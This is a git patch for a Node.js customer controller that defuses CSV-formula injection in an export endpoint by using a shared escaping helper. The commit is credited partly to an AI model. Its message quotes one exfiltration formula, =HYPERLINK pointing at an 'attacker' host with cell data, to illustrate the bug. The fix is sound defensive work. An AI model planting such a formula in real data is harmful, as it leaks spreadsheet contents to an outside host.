From ddc0cb0d4645943070996cd8468a196558467977 Mon Sep 17 00:00:00 2001 From: "Aaron K. Clark" Date: Tue, 19 May 2026 09:04:51 -0500 Subject: [PATCH] fix(security): defuse CSV-formula injection in /v1/customer/export.csv MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follow-up to #266 — completes the OWASP CSV-injection mitigation on the second export endpoint. Same class of bug: Customer free-text fields (custCompanyName, custFName, custLName, custCity, etc.) are user-supplied per-tenant, and without the prefix a malicious entry like \`=HYPERLINK("http://attacker/?d="&A1, "click")\` would evaluate as a formula when a co-tenant operator opens the export in Excel / LibreOffice / Google Sheets. Replaces the inline \`escape()\` with the shared \`escapeCsvCell\` helper introduced in #266 — same RFC 4180 quote-wrapping, plus the formula-trigger guard for cells beginning with =, +, -, @, tab, or CR. The unit-test coverage on the helper applies transitively to this path; the regression is pinned in tests/unit/csv-escape.test.js. No behavior change for benign data — only payloads that were already a security risk now get the visible-in-plain-text leading quote. 760 tests still pass. Co-Authored-By: Claude Opus 4.7 (1M context) --- app/controllers/customercontroller.js | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/app/controllers/customercontroller.js b/app/controllers/customercontroller.js index 84fa0be..9acff66 100644 --- a/app/controllers/customercontroller.js +++ b/app/controllers/customercontroller.js @@ -8,6 +8,7 @@ const log = require('../config/logger.js'); const auth = require('../middleware/auth.js'); const { buildLinkHeader } = require('../middleware/pagination.js'); const { makeBulkCreate } = require('./_bulk-helpers.js'); +const { escapeCsvCell } = require('./_csv-escape.js'); const Customer = db.Customer; // IsMaster / GetCompanyId previously lived inline in this file and @@ -359,18 +360,21 @@ exports.exportCsv = async (req, res) => { const truncated = rows.length > limit; if (truncated) rows = rows.slice(0, limit); - // CSV serialization. Wraps every field in quotes (simpler than - // detecting which ones need it) and doubles any embedded quotes. + // CSV serialization via the shared helper. Includes RFC 4180 + // quote-wrapping AND the OWASP formula-injection guard — any cell + // starting with =, +, -, @, tab, or CR is prefixed with a single + // quote so the spreadsheet engine treats it as text. Customer + // free-text fields (custCompanyName, custFName, etc.) are + // user-supplied per-tenant, so an entry like `=HYPERLINK(...)` + // would otherwise fire when a co-tenant operator opens the + // export. See _csv-escape.js + the timeentry counterpart (#266). const FIELDS = [ 'custId', 'custCompanyName', 'custFName', 'custLName', 'custAddress1', 'custAddress2', 'custCity', 'custState', 'custZip', 'custPhone', 'custEmail', 'custCompId', ]; - const escape = (val) => { - if (val === null || val === undefined) return '""'; - return '"' + String(val).replace(/"/g, '""') + '"'; - }; + const escape = escapeCsvCell; const lines = []; lines.push(FIELDS.join(',')); for (const r of rows) {